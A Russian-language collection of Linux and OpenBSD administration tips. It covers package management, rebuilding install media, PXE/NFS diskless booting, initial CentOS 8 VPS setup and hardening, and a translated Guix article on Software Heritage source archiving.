    ----* Как обновить содержимое установочного DVD для Fedora Core 5 Linux (доп. ссылка 1)   Автор: Rob Garth  [комментарии]
     
    Копируем обновления на локальную машину
    http://download.fedora.redhat.com/pub/fedora/linux/core/updates/5/i386/
    
    Создаем директорию, в которой будем создавать новый образ диска.
       mkdir -p /opt/FC_2006.4/i386
       cd /opt/FC_2006.4
    
    Монтируем оригинальный установочный диск
       mount -o loop /full/path/FC-5-i386-DVD.iso /mnt
    
    и синхронизируем его содержимое, за исключением rpm пакетов, в созданную ранее директорию.
       rsync --archive --exclude 'Fedora/RPMS/*.rpm' /mnt/ i386
    
    Копируем только актуальные rpm пакеты для которых не было обновлений. 
    Наличие обновлений отслеживаем при помощи утилиры novi.
       for fn in `novi path/to/updates /mnt/Fedora/RPMS/ | awk '{print $2}'`; do
         cp $fn i386/Fedora/RPMS/
       done
    
    Обновляем индексные файлы
       cd i386
       createrepo -u "media://1142397575.182477#1" -g Fedora/base/comps.xml .
       cd ..
    
    Создаем ISO образ и md5 слепок.
       mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table \
         -V "Fedora Core 5 (Patched.0406)" -b isolinux/isolinux.bin \
         -c isolinux/boot.cat -x "lost+found" -o FC5-i386-dvd-patched.iso i386
    
       /usr/lib/anaconda-runtime/implantisomd5 FC5-i386-dvd-patched.iso
    
     
    ----* Пример настройки сервера удаленной загрузки под Linux (доп. ссылка 1)   [комментарии]
     
    DHCP.
    
    dhcpd.conf:
    
       # расскоментировать для DHCPD 3.0
       # ddns-update-style none;
    
       group {
         # IP address of TFTP/NFS server
         next-server 10.0.0.3;
         # The name of the file to be downloaded by the ROM
         filename "/tftpboot/pxelinux.0";
         # A default server directory to be used as / by the clients
         #option root-path "/clients/shared/root";
         # IP addresses of DNS servers
         #option domain-name-servers XX.XX.XX.XX, YY.YY.YY.YY;
         # IP addresses of routers
         #option routers AA.AA.AA.AA, BB.BB.BB.BB;
       
         # An entry for one specific client
         host sample-client {
           # Ethernet address of the client machine
           hardware ethernet EE:EE:EE:EE:EE:EE;
           # IP address to assign
           fixed-address 10.0.1.1;
           # Override root-path option for this machine
           # Our initial configuration will use separate
           # root directories for each client.
           option root-path "/clients/10.0.1.1/root";
          }
       }
    
    
    NFS. 
    
    /etc/exports на сервере:
    
       /clients/10.0.1.1/root 10.0.1.1/255.255.255.255(rw,no_root_squash)
       /clients/10.0.1.1/usr 10.0.1.1/255.255.255.255(rw,no_root_squash)
       /clients/10.0.1.1/var 10.0.1.1/255.255.255.255(rw,no_root_squash)
       /clients/10.0.1.1/tmp 10.0.1.1/255.255.255.255(rw,no_root_squash)
       /home           10.0.0.0/255.0.0.0(rw)
    
    
    /etc/fstab для клиента:
    
       10.0.0.3:/clients/10.0.1.1/root /     nfs rw,hard,intr,nolock 0 0
       10.0.0.3:/clients/10.0.1.1/usr  /usr  nfs rw,hard,intr,nolock 0 0
       10.0.0.3:/clients/10.0.1.1/var  /var  nfs rw,hard,intr,nolock 0 0
       10.0.0.3:/clients/10.0.1.1/tmp  /tmp  nfs rw,hard,intr,nolock 0 0
       10.0.0.3:/home                  /home nfs rw,hard,intr,nolock 0 0
    
    Проверка NFS:
    
       mount 127.0.0.1:/clients/10.0.1.1/root /mnt
    
    /clients/shared/root/etc/init.d/netboot-dirs - скрпит монтирование разделов по
    NFS загрузке для клиента:
    
       #!/bin/sh
    
       IP=`ifconfig eth0 | grep inet | sed 's/.*inet //;s/ netmask.*//'`
       /bin/mount 10.0.0.3:/clients/$IP/var /var
       /bin/mount 10.0.0.3:/clients/$IP/tmp /tmp
    
    
    etc/init.d/netboot-dirs создание /var и /tmp разделов в ОЗУ для клиента:
    
       #!/bin/sh
       # File: etc/init.d/netboot-dirs
       # Initialize a 1MB /var
       /sbin/mke2fs -q /dev/ram12 1024
       /bin/mount /dev/ram12 /var
       /bin/chown 0:0 /var
       /bin/chmod 755 /var
    
       # Create some needed dirs
       cd /var
       /bin/mkdir -p --mode=755 run lib log/news spool/cron/crontabs
       /bin/mkdir -p --mode=1777 tmp lock
    
       # Initialize a 4MB /tmp
       # -N option tunes this for small files
       /sbin/mke2fs -q -N 2048 /dev/ram11 4096
       /bin/mount /dev/ram11 /tmp
       /bin/chown 0:0 /tmp
       /bin/chmod 1777 /tmp
    
     
    ----* Формирование списка имен RPM пакетов и зависимостей в Linux (доп. ссылка 1)   Автор: uldus  [комментарии]
     
    Формирование списка названий пакетов (не полных имен):
    
       rpm -q -a --queryformat '%{NAME}\n'
    
    
    Как после установки группы пакетов через "rpm -i --nodeps", проверить каких
    зависимостей не хватает:
    
       rpm -q -a --queryformat '%{NAME}\n'|sort|uniq > list_inst.txt
       cat list_inst.txt| xargs -l1 rpm -q -R |grep -E "[<=>]"| cut -d ' ' -f1| cut -d '(' -f1| sort| uniq > list_req.txt
       diff list_inst.txt list_req.txt| grep '>' > missing.txt 
    
     
    ----* Установка Domino R 6.5 на Linux   Автор: Gennadi Kalaschnikow  [комментарии]
     
    Для инсталляци Domino R6.5 необходимо в файле .bashrc, который находиться в
    директории юзера "notes" сделать такую запись:
       export LD_ASSUME_KERNEL = 2.2.5
    
     
    ----* Подсказка по использованию APT   [комментарии]
     
    apt-get update - обновление локального кэша пакетов;
    apt-cache search маска - поиск нужного пакета;
    apt-cache show пакет -  просмотр информации о пакете;
    apt-get install пакет - установка пакета;
    apt-get remove пакет - удаление пакета;
    apt-get update; apt-get upgrade - полное обновление системы.
    
     
    ----* Как, после сборки ядра Linux, инициализировать initrd (ядро падает при монтировании root раздела) (доп. ссылка 1)   Автор: as  [комментарии]
     
    initrd - RAM-диск, инициализируемый загрузчиком, требуется для подключения
    модулей ядра, необходимых
    на этапе до монтирования root-раздела, (например, до монтирования нужно
    подгрузить - ext2/ext3/scsi модули).
    
    1) man initrd - все изумительно описано;
    2) после сборки ядра создаем новый initrd:
        mkinitrd /boot/initrd-2.4.21 2.4.21;
    3) в /etc/lilo.conf:
       initrd=/boot/initrd-2.4.21 
    В mkinitrd сам initrd можно назвать как угодно, но второй параметр обязательно версия ядра. 
    
     
    ----* Как в RedHat управлять из командной строки runlevel (init.d) скриптами   [комментарии]
     
    Перезапуск сервисов:
       service имя start
       service имя stop
       service имя restart
    
    Добавление или удаление сервисов (удобнее использовать утилиту ntsysv, sysvconfig или rcconf):
       chkconfig --list
       chkconfig --add имя
       chkconfig --del имя
       chkconfig [--level уровень] имя <on|off|reset>
    
     
    ----* Подсказка по опциям RPM.   [обсудить]
     
    Установка пакетов: rpm -i <пакеты>
    Деинсталляция пакета: rpm -e <пакеты>
    Обновление или установка пакетов: rpm -U <пакеты>
    Только обновление пакетов если они ранее установлены: rpm -F <пакеты>
    Полезно: --force -установить несмотря ни на что,  --nodeps - без проверки
    зависимости, -vh - приятный вывод, --test - проверка.
    Информация о пакете: rpm -q <пакет>
    Список всех пакетов в системе: rpm -q -a
    Узнать какому пакету принадлежит файл: rpm -q -f <файл>
    Полезно: -i - более полное описание пакета, -R - список зависимостей пакета, -l
    - список файлов в пакете,
    -c - список конфигов в пакете, -d - список документации.
    Установка из исходников: rpm --recompile <srpm> , собрать бинарный пакет: rpm --rebuild <srpm>.
    Перестроить базу:  rpm --rebuilddb
    
     
    ----* Как вручную распаковать rpm файл   [комментарии]
     
    rpm2cpio file.rpm | cpio -idmuv --no-absolute-filenames 
    
     
    ----* Как узнать к какому пакету принадлежит файл   [комментарии]
     
    rpm -qf file
    
     
    ----* Первоначальная настройка VPS сервера на базе CentOS 8   Автор: KoD  [комментарии]
     
    В наши дни многие информационные сервисы работают на 
    виртуальных машинах. На рынке появляется огромное количество поставщиков услуг
    виртуализации, у которых можно получить VPS по вполне вменяемым ценам.
    
    В этой статье я хотел бы поделиться своим вариантом первоначальной настройки
    виртуалки на базе CentOS 8 и принять рекомендации по её улучшению.
    
    Предполагается, что VPS предназначена для разработки/тестирования/презентации
    WEB-приложения в общем случае, т.е. не ориентируясь на какие-либо специфические
    особенности и среды программирования.
    
    Первые шаги
    
    Во-первых, после установки необходимо создать непривилегированного пользователя:
    
       # groupadd user
       # useradd -m -d /home/user -s /bin/bash -g user -G wheel user
       # passwd user
    
    Сгенерировать пару криптографических ключей (на клиентской машине) следующей командой:
    
      client$ ssh-keygen -t ed25519
    
    И перенести открытый ключ на сервер:
    
      client$ ssh-copy-id user@example.ru
    
    
    Затем задать более безопасные настройки для демона sshd (на сервере).
    Под X.X.X.X понимается IP-адрес клиента, с которого будет происходить соединение на VPS.
    
       # sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
       # sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
       # echo "AllowUsers user@X.X.X.X user@X.X.X.*" >> /etc/ssh/sshd_config
       # systemctl restart sshd.service
     
    После выхода из под учётной записи администратора, можно соединиться с сервером
    по SSH и продолжить дальнейшую настройку.
    Далее следует файрволл. Его настраиваем так, чтобы на 22 порт SSH могли
    подключаться пользователи из авторизованной подсети, а остальные соединения отбрасывались:
    
       $ sudo firewall-cmd --zone=internal --add-source=X.X.X.X/32 --add-source=X.X.X.0/24
       $ sudo firewall-cmd --zone=internal --add-service=ssh
       $ sudo firewall-cmd --zone=public --remove-service=ssh
       $ sudo firewall-cmd --zone=public --add-service=http --add-service=https
       $ sudo firewall-cmd --get-active-zones
    
       internal
         sources: X.X.X.X/32 X.X.X.0/24
       public
         interfaces: ens3
    
       $ sudo firewall-cmd --runtime-to-permanent
       $ sudo firewall-cmd --reload
    
    Опять же, под X.X.X.X понимается IP-адрес клиента, с которого будет происходить соединение на VPS.
    
    Установка программного обеспечения
    
    Прежде всего следует обновить систему до актуального состояния и перезагрузиться:
    
       $ sudo dnf upgrade --refresh
       $ sudo reboot
    
    Затем установим необходимое для разработки программы:
    
       $ sudo dnf groupinstall "Development tools"
       $ sudo dnf install clang
    
    Clang устанавливаю, как дополнение к GCC для кроссплатформенной компиляции разработок.
    
    Установка и настройка СУБД
    
    Из основного репозитория качаем клиент, сервер и заголовки MariaDB.
    Запускаем, проверяем, и настраиваем СУБД
    
       $ sudo dnf install mariadb mariadb-server mariadb-devel
       $ sudo systemctl start mariadb
       $ sudo systemctl status mariadb
    
       Active: active (running)
    
       $ sudo systemctl enable mariadb
    
       Created symlink /etc/systemd/system/mysql.service > /usr/lib/systemd/system/mariadb.service.
       Created symlink /etc/systemd/system/mysqld.service > /usr/lib/systemd/system/mariadb.service.
       Created symlink /etc/systemd/system/multi-user.target.wants/mariadb.service > /usr/lib/systemd/system/mariadb.service.
    
    Скрипт mysql_secure_installation устанавливает пароль для root MariaDB 
    и выключает небезопасные настройки. Далее можно создать БД и пользователей.
    
       $ sudo mysql_secure_installation
       $ mysql -u root -p
       mysql> CREATE DATABASE `mydb`;
       mysql> GRANT USAGE ON *.* TO 'user'@localhost IDENTIFIED BY 'mypassword';
       mysql> GRANT ALL privileges ON `mydb`.* TO 'user'@localhost;
       mysql> FLUSH PRIVILEGES;
       mysql> SHOW GRANTS FOR 'user'@localhost;
    
    Первоначальная настройка MariaDB завершена.
    
    Установка и настройка HTTPD apache2
    
    Ниже следует установка сервера httpd.
    В качестве менеджера SSL-сертификатов будем использовать certbot из репозитория EPEL:
    
       $ sudo dnf install httpd
       $ sudo dnf install epel-release
       $ sudo dnf install certbot python3-certbot-apache mod_ssl
    
    Добавляем виртуальный хост в конфиг сервера. Предполагается, что DNS имя сервера уже
    зарегистрировано и делегировано, создана A-запись на IP VPS.
    
       $ vi /etc/httpd/conf.d/vhosts.conf
    
       <VirtualHost *:80>
         ServerAdmin webmaster@example.ru
         ServerName example.ru
         ServerAlias www.example.ru
         DocumentRoot /var/www/html/example.ru/
         <Directory "/var/www/cgi-bin">
           AllowOverride None
           Options +ExecCGI
           AddHandler cgi-script .cgi .sh
           Require all granted
         </Directory>
       </VirtualHost>
    
    Эта конфигурация так же включает выполнение CGI-скриптов на стороне сервера, так что
    можно приступать к разработке WEB-приложений после перезагрузки сервиса:
    
       $ sudo systemctl enable httpd
       $ sudo systemctl start httpd
    
    Не забываем получить сертификаты в центре сертификации Let`s Encrypt:
    
       $ sudo certbot -d example.ru -d www.example.ru
    
    Вышеизложенный порядок действий не обязательно каждый раз делать вручную.
    Можно написать и отладить простой shell-скрипт, который проделает все 
    операции в автоматическом режиме и первоначальная настройка VPS сервера займёт
    незначительное время.
    
     
    ----* Связывание повторяемых сборок GNU Guix с архивом исходных текстов Software Heritage (доп. ссылка 1)   Автор: znavko  [комментарии]
     
    Перевод статьи Людвика Курте от 29.03.2019, опубликованной в блоге Guix.
    
    В статье рассказано как в дистрибутиве GNU Guix связать повторяемые сборки,
    позволяющие убедиться в тождественности бинарных файлов эталонным исходным
    текстам, с загрузкой исходных текстов из архива кода Software Heritage.
    Software Heritage ставит перед собой задачу создания полного архива всех
    доступных в Сети исходных текстов. Код загружается из разных источников
    (GitHub, репозитории Debian, коллекции GNU и т.п.) с автоматическим переносом
    информации об изменениях, формируя таким образом историю развития кода разных
    проектов (можно посмотреть каким код был в разное время). В Guix  можно
    использовать Software Heritage для получения кода, если репозиторий из которого
    собран пакет перестал существовать. В контексте повторяемых сборок пользователь
    может загрузить из Software Heritage состояние кода проекта, соответствующее
    имеющемуся бинарному пакету, и проверить, что бинарные файлы собраны именно из
    этого кода без добавления скрытых изменений.
    
    
    
    
    
    
    
    
    
    GNU Guix может использоваться как пакетный менеджер, чтобы устанавливать и
    обновлять пакеты ПО. Также Guix может выступать менеджером окружения, создавать
    контейнеры или виртуальные машины, управлять операционной системой на компьютере.
    
    Ключевым отличием GNU Guix, выделяющим его среди других подобных инструментов,
    является воспроизводимость. Для пользователя это означает следующее.
    Пользователь задаёт в конфигурационном файле программное окружение и запускает
    его установку. Пользователи могут делиться конфигурацией окружения с другими,
    чтобы воспроизвести или адаптировать его для своих нужд. Эта особенность играет
    ключевую роль для разработки программного обеспечения, так как чтобы получить
    результат внедрения программы в программное окружение, вначале нужно
    воспроизвести программное окружение. Этой темой мы занимаемся в рамках проекта
    Guix-HPC. На программном уровне это означает, что Guix, как и другие проекты сообщества
    Reproducible Builds, производит сверку результатов
    воспроизводимой сборки,
    бит за битом.
    
    В вопросе воспроизводимости Guix ушёл вперёд. Пользователю Guix, можно сказать,
    доступна машина времени, позволяющая запустить окружение с предыдущими версиями
    пакетов. Но оставался один нюанс, который не позволял использовать эту
    технологию на практике - стабильный архив исходного кода. Тогда и появился
    Software Heritage (SWH).
    
    
    Когда исходный код исчезает
    
    Guix содержит тысячи описаний пакетов. Каждое описание пакета задаёт URL
    исходного кода пакета и хеш, зависимости и процедуру сборки. В большинстве
    случаев исходный код пакета - это архив, извлекаемый с сайта, но всё чаще
    исходный код ссылается на конкретную ревизию, размещённую в системе управления версиями.
    
    Что происходит, если ссылка на исходный код становится нерабочей? Все усилия,
    обеспечивающие воспроизводимость, не работают, когда исчезает исходный код.
    Исходный код, действительно, исчезает, более того, он может быть изменён в
    источнике. В GNU мы предоставляем стабильный хостинг, где размещаются релизы
    почти навсегда, без изменений (с незначительными редкими изменениями). Но
    большое количество свободного программного обеспечения в Интернете размещается
    на личных сайтах, которые имеют непродолжительное время жизни, или на
    коммерческих хостингах, которые работают и закрываются.
    
    По умолчанию Guix ищет исходный код по хешу в кэше наших серверов сборки. Бесплатно 
    механизм подстановок расширяет функционал сборки, включая скачивание. Однако
    ограничения не позволяют нашим серверам сборки хранить весь исходный код всех
    пакетов долгое время. Так что вполне вероятно, что пользователь не сможет
    пересобрать пакет через месяцы или годы, просто потому что исходный код
    переместился или исчез.
    
    Работа с архивом
    
    Совершенно ясно, что для обеспечения воспроизводимых сборок должен быть
    постоянный доступ к исходному коду. Архив Software Heritage позволит нам
    воспроизводить программное окружение через годы вопреки непостоянству
    хостингов. Миссия Software Heritage - сохранить весь когда либо опубликованный
    исходный код, включая историю версий. Этот архив уже периодически поглощает
    релизы ПО с серверов GNU, репозитории с GitHub, пакеты PyPI и многое другое.
    
    Мы предусмотрели политику, по которой Guix будет обращаться к архиву Software
    Heritage при невозможности скачать исходный код из источника. Описания пакетов
    при этом не нуждаются в изменениях: они всё ещё указывают на первоначальный
    URL, но механизм скачки прозрачно работает с Software Heritage, когда необходимо.
    
    В Guix есть два типа скачивания исходных кодов: скачивание архива и
    осуществление контроля изменений версий. В первом случае взаимодействие с
    Software Heritage очень простое: Guix выполняет поиск по хешу SHA256, который
    ему известен, используя интерфейс архива.
    
    Выборка истории изменения версий более сложная. В этом случае вначале
    необходимо определить идентификатор коммита, чтобы обратиться к нужной
    ревизии на Software Heritage. Код ревизии затем будет доступен через API хранилища.
    
    Хранилище (Vault API) позволяет получить архив, соответствующий определённой
    ревизии пакета. Однако ясно, что не все ревизии доступны в качестве архивов,
    так что хранилище имеет интерфейс, через который можно запросить подготовку
    нужной ревизии. Подготовка асинхронная и может занимать некоторое время. В
    настоящее время, если ревизия недоступна, механизм скачивания Guix запрашивает
    и ждёт его готовности. Процесс может занять некоторое время, но в итоге
    завершается успешно.
    
    Вот так! С этого момента мы собрали цепочку. Благодаря Software Heritage,
    который предоставляет стабильный архив, воспроизводимая сборка Guix работает.
    Этот код был внедрён в ноябре 2018, создав первый свободный дистрибутив,
    основанный на стабильном архиве.
    
    Новые вызовы
    
    Мы достигли цели и сделали её осязаемой, но нам известно о недостатках.
    Во-первых, даже если программное обеспечение, которое описано в наших пакетах,
    доступно в виде архивов, Software Heritage содержит относительно немногие из
    них. Software Heritage поглощает архивы, особенно те, которые найдены на
    серверах GNU, но он нацелен в первую очередь на сохранение репозиториев систем
    управления версиями, а не архивов релизов.
    
    Нам всё ещё неясно, что делать с обычными старыми архивами. С одной стороны,
    они есть и не могут быть проигнорированы. Более того, многие содержат
    артефакты, которых нет в системе управления версими, например, скрипты
    configure, и довольно часто они сопровождаются криптографическими подписями
    разработчиков, которые позволяют получателям подтвердить код - важная
    информация, которая часто отсутствует в системе управления версиями. С другой
    стороны, теги систем управления версиями всё чаще становятся механизмом
    распространения релизов программ. Вполне вероятно, что теги станут главным
    механизмом распространения ПО в ближайшем будущем.
    
    Теги систем управления версиями тоже не идеальны, так как они изменчивы и
    привязаны к репозиторию. С другой стороны, идентификаторы коммита Git
    совершенно точно указывают на нужную версию пакета, так как они относятся к
    пакету и не зависят от репозитория. Но наши описания пакетов часто ссылаются на
    теги, а не коммиты, так как это даёт понять, что пакет ссылается на актуальный
    релиз, а не обычную ревизию (такой вот треугольник Zooko).
    
    Есть и другая проблема, которая происходит из того, что Guix вычисляет хеш
    версии пакета иначе, чем Software Heritage. Оба вычисляют хеш по файлам
    директории, но они упорядочивают файлы в разных последовательностях (SWH
    сериализует директории как дерево Git, а Guix использует "нормализованный
    архив", или Nars, формат, который использует демон сборки, наследованный от
    Nix). Это не позволяет Guix искать ревизии по хешу содержимого. Решением
    вероятно будет добавление в Guix поддержки такого метода, как в Software
    Heritage, ну, или Software Heritage добавит метод Guix.
    
    Ожидание завершения подготовки архива также может вызывать проблемы. Команда
    Software Heritage внедряет возможность
    автоматического добавления тегов в систему управления версиями. Таким
    образом, нужные ревизии почти всегда будут доступны в хранилище.
    
    Также мы не гарантируем, что программы, поставляемые Guix, доступны в качестве
    архива. Мы запросили Software Heritage периодически скачивать исходный код
    программного обеспечения, поставляемого Guix.
    
    Движемся далее
    
    Работая над поддержкой Software Heritage, мы включили в Guix модуль Guile,
    реализующий HTTP-интерфейс Software Heritage. Вот некоторые вещи, которые он умеет:
    
       (use-modules (guix swh))
    
       ;; Check whether SWH has ever crawled our repository.
       (define o (lookup-origin "https://git.savannah.gnu.org/git/guix.git"))
       => #{{origin> id: 86312956 ...>
    
       ;; It did! When was its last visit?
       (define last-visit
         (first (origin-visits o)))
    
       (date->string (visit-date last-visit))
       => "Fri Mar 29 10:07:45Z 2019"
    
       ;; Does it have our "v0.15.0" Git tag?
       (lookup-origin-revision "https://git.savannah.gnu.org/git/guix.git" "v0.15.0")
       => #{{revision> id: "359fdda40f754bbf1b5dc261e7427b75463b59be" ...>
    
    Guix также является библиотекой Guile, так что используя guix и swh, мы получаем интересные вещи:
    
       (use-modules (guix) (guix swh)
                 (gnu packages base)
                 (gnu packages golang))
    
       ;; This is our GNU Coreutils package.
       coreutils
       => #{package coreutils@8.30 gnu/packages/base.scm:342 1c67b40>
    
       ;; Does SWH have its tarball?
       (lookup-content (origin-sha256 (package-source coreutils))
                    "sha256")
       => #{{content> checksums: (("sha1" ...)) data-url: ...>
    
       ;; Our package for HashiCorp's Configuration Language (HCL) is
       ;; built from a Git commit.
       (define commit
         (git-reference-commit
           (origin-uri (package-source go-github-com-hashicorp-hcl))))
    
       ;; Is this particular commit available in the archive?
       (lookup-revision commit)
       => #{{revision> id: "23c074d0eceb2b8a5bfdbb271ab780cde70f05a8" ...>
    
    В настоящее время мы используем этот инструментарий, но конечно, это не всё,
    что мы можем. Например, можно выяснить, какие пакеты Guix добавлены. Также
    можно запросить архив исходного кода каждого пакета с помощью интерфейса
    'save code', но однако есть ограничения по скорости.
    
    Подведём итоги
    
    Поддержка Software Heritage в Guix даёт для воспроизводимого развёртывания
    стабильный архив исходного кода и полное резервирование ранних версий. Впервые
    мы получили пакетный менеджер, который может пересобирать предыдущие версии
    программ. Это имеет практическую выгоду в области воспроизводимости: мы можем
    создавать воспроизводимое программное окружение - основу воспроизводимых
    экспериментов в области разработки ПО.
    
    Собственно, мы можем предоставить инструменты загрузки программного обеспечения
    с доступом к ранним версиям. Да и сам Guix резервируется, так что мы выходим на
    метауровень, когда мы можем ссылаться на ревизии Guix, ссылаясь на ревизии
    пакетов, предоставляемые им. Есть барьеры, которые необходимо преодолеть, но
    результат уже обозрим.
    
     
    ----* Использование slackpkg для chroot   Автор: АнкхС  [комментарии]
     
    Можно назначить переменную окружения
    
       export ROOT=/mychroot
    
    После этого slackpkg начинает обработку корня относительно каталога /mychroot и выполнив, например
    
       slackpkg update
       slackpkg install a
    
    Все пакеты и пакетная база попадут в иерархию, относительно каталога,
    определённого в переменной окружения ROOT.
    
     
    ----* Пересборка пакетов для Ubuntu (Debian) (доп. ссылка 1)   Автор: Davidov  [комментарии]
     
    Думаю, практически все понимают преимущества пакетных менеджеров над установкой при помощи 
       ./configure && make && make install.
    
    На примере недавно появившегося патча для Pidgin я хочу показать, 
    как легко пересобирать пакеты в deb-based дистрибутивах.
    
    Подготовка. 
    Нам понадобятся следующие пакты: devscripts build-essential fakeroot
    
       sudo apt-get install devscripts build-essential fakeroot
    
    Скачиваем исходники. 
    Для этого должны быть подключены соответствующие репозитории. 
    Нам нужен libpurple0, т.к. патч относится к этой библиотеке. 
    На самом же деле libpurple, pidgin и pidgin-data имеют общий исходник, там что
    мы можем написать как
    
       apt-get source libpurple0
    
    так и
    
       apt-get source pidgin
    
    Обратите внимание, что apt-get source надо делать не из под sudo.
    Исходники скачиваются в текущую директорию.
    
    Патчим.
    
       wget http://launchpadlibrarian.net/15741199/pidgin-2.4.2-icq.patch
       cd pidgin-2.4.1
       patch -p0 < ../pidgin-2.4.2-icq.patch
    
    Устанавливаем зависимости, необходимые для сборки:
    
       sudo apt-get build-dep libpurple0
    
    Пересобираем пакет (из той же директории)
    
       debuild -us -uc
    
    Получившийся пакет устанавливаем:
    
       cd ..
       sudo dpkg -i libpurple0_2.4.1-1ubuntu2_amd64.deb
    
    Если у вас i386-дистрибутив, то пакет будет называться libpurple0_2.4.1-1ubuntu2_i386.deb.
    
     
    ----* Установка ATI Catalyst 8.5 в Ubuntu 8.04 (доп. ссылка 1)   Автор: Pronix  [комментарии]
     
    1. Скачать ati-driver-installer-8-5-x86.x86_64.run
    
    2. В консоли выполнить для синхронизации списка пакетов, доступных в репозиториях:
    
       sudo apt-get update
    
    Затем, установить пакеты, необходимые для сборки модуля ядра из исходных
    текстов и создания deb пакета:
    
       sudo apt-get install build-essential fakeroot dh-make debhelper debconf libstdc++5 dkms linux-headers-$(uname -r)
    
    3. В консоли запускаем инсталлятор драйвера в режиме создания пакетов:
    
       sudo sh ati-driver-installer-8-5-x86.x86_64.run --buildpkg Ubuntu/8.04
    
    
    4. Теперь нужно занести в черный список драйвер fglrx из репозитория Ubuntu, выполняем
    
       sudo gedit /etc/default/linux-restricted-modules-common
    
    и в строке "DISABLED_MODULES" добавляем "fglrx"
    получаем строку:
    
       DISABLED_MODULES="fglrx"
    
    сохраняем файл
    
    5. далее в консоли устанавливаем подготовленные пакеты с драйвером:
    
       sudo dpkg -i xorg-driver-fglrx_8.493*.deb fglrx-kernel-source_8.493*.deb fglrx-amdcccle_8.493*.deb
    
    
    6. Перезагружаем X сервер. 
    
    7. проверяем:
    
       $ fglrxinfo
       display: :0.0 screen: 0
       OpenGL vendor string: ATI Technologies Inc.
       OpenGL renderer string: Radeon X1900 Series
       OpenGL version string: 2.1.7537 Release
    
    PS: все вышесказанное проверялось на i386 конфигурации с видеокартой X1900, 
    для amd64 возможны небольшие отличая в установке.
    
    Оригинал: http://pronix.isgreat.org/news.php?item.86.5
    
     

       OpenBSD

    ----* Настройка PPTP Client под управлением OpenBSD (доп. ссылка 1)   Автор: dreamcatcher.ru  [комментарии]
     
    Автор: Алексей Гнедин
    Редактор: Олег Сафулин
    
    Используемое ПО: pptp-1.6.0.tgz , OpenBSD 3.8 (GENERIC)
    
    Особенности данного подключения состоят в том ,что VPN сервер разрешает подключатся 
    только с авторизацией MSChapV2, и явно включённым шифрованием MPPE 128 STATELESS.
    
    
          cd /etc/ppp
          vi /etc/ppp/ppp.conf 
    
    Добавляем следующие строки:
    
          default:
           set log Phase Chat LCP IPCP CCP tun command
          pptp1:
           set device "!/usr/local/sbin/pptp  IPADDR_VPN_SERVER --nolaunchpppd"
           set log Phase LCP IPCP CCP tun command
           disable acfcomp protocomp
           deny acfcomp
           enable lqr
           set lqrperiod 5
           set cd 5
           set redial 30
           set timeout 0
           set authname <username>
           set authkey <userpass>
           set dial
           set login
           add! default HISADDR
           enable mssfixup
           disable ipv6cp
           accept MSChapV2
           set mppe 128 stateless
    
    Далее:
    
         touch /etc/hosname.tun0 ; vi  /etc/hostname.tun0 
    
    Добавляем следующие строки:
    
          !/usr/sbin/ppp -ddial pptp1 >/dev/null 2>&1
          sysctl -w net.inet.gre.allow=1
          reboot
    
    После загрузки машина автоматически соединится с VPN сервером. 
    
     
    ----* Создание установочного ISO для OpenBSD 3.8.   Автор: Алексей Солдатов  [комментарии]
     
    Необходимые файлы: 
    
    $ ls -lh
    
    итого 267M
    -r-xr-xr-x  1 lexa lexa  36M Дек  9 21:27 base38.tgz
    -r-xr-xr-x  1 lexa lexa 5,1M Дек  9 21:27 bsd
    -r-xr-xr-x  1 lexa lexa 4,5M Дек  9 21:28 bsd.rd
    -r-xr-xr-x  1 lexa lexa 2,9M Дек  9 21:41 cdrom38.fs
    -r-xr-xr-x  1 lexa lexa  563 Дек  9 21:28 CKSUM
    -r-xr-xr-x  1 lexa lexa  21M Дек  9 21:28 comp38.tgz
    -r-xr-xr-x  1 lexa lexa 1,1M Дек  9 21:28 etc38.tgz
    -r-xr-xr-x  1 lexa lexa 7,3K Дек  9 21:41 ftplist
    -r-xr-xr-x  1 lexa lexa 2,5M Дек  9 21:28 game38.tgz
    -r-xr-xr-x  1 lexa lexa 7,1M Дек  9 21:28 man38.tgz
    -r-xr-xr-x  1 lexa lexa 1019 Дек  9 21:28 MD5
    -r-xr-xr-x  1 lexa lexa 2,2M Дек  9 21:28 misc38.tgz
    -r-xr-xr-x  1 lexa lexa 8,4M Дек  9 21:41 ports.tar.gz
    -r-xr-xr-x  1 lexa lexa 4,7K Дек  9 21:41 root.mail
    -r-xr-xr-x  1 lexa lexa 100M Дек  9 21:42 src.tar.gz
    -r-xr-xr-x  1 lexa lexa  17M Дек  9 21:42 sys.tar.gz
    -r-xr-xr-x  1 lexa lexa  10M Дек  9 21:28 xbase38.tgz
    -r-xr-xr-x  1 lexa lexa  92K Дек  9 21:28 xetc38.tgz
    -r-xr-xr-x  1 lexa lexa  32M Дек  9 21:28 xfont38.tgz
    -r-xr-xr-x  1 lexa lexa  18M Дек  9 21:28 xserv38.tgz
    -r-xr-xr-x  1 lexa lexa 2,0M Дек  9 21:28 xshare38.tgz
    
    Пусть рабочая директория будет files, тогда структура подготовленных файлов должна быть такая:
    
    $ tree -s files/
    files/
    |-- [       4096]  3.8
    |   `-- [       4096]  i386
    |       |-- [        563]  CKSUM
    |       |-- [       1019]  MD5
    |       |-- [   36790935]  base38.tgz
    |       |-- [    5281094]  bsd
    |       |-- [    4658297]  bsd.rd
    |       |-- [   21015186]  comp38.tgz
    |       |-- [    1150325]  etc38.tgz
    |       |-- [    2599491]  game38.tgz
    |       |-- [    7408552]  man38.tgz
    |       |-- [    2276103]  misc38.tgz
    |       |-- [   10471148]  xbase38.tgz
    |       |-- [      93384]  xetc38.tgz
    |       |-- [   33216689]  xfont38.tgz
    |       |-- [   18609057]  xserv38.tgz
    |       `-- [    2034078]  xshare38.tgz
    |-- [    2949120]  cdrom38.fs
    |-- [       7470]  ftplist
    |-- [    8775929]  ports.tar.gz
    |-- [       4742]  root.mail
    |-- [  104553952]  src.tar.gz
    `-- [   16854676]  sys.tar.gz
    
    дерево каталогов:
    
    $ tree -d  files
    
    files
    `-- 3.8
        `-- i386
    
    
    Создание ISO:
    
    $ mkisofs -vrTJV OpenBSD38 -b cdrom38.fs -c boot.catalog -o OpenBSD38.iso files
    
    ls -l
    drwxr--r--  3 lexa lexa      4096 Дек  9 21:29 files
    -rw-rw-r--  1 lexa lexa 279166976 Дек  9 22:21 OpenBSD38.iso
    
    Установочный ISO OpenBSD 3.8 готов!
    
     
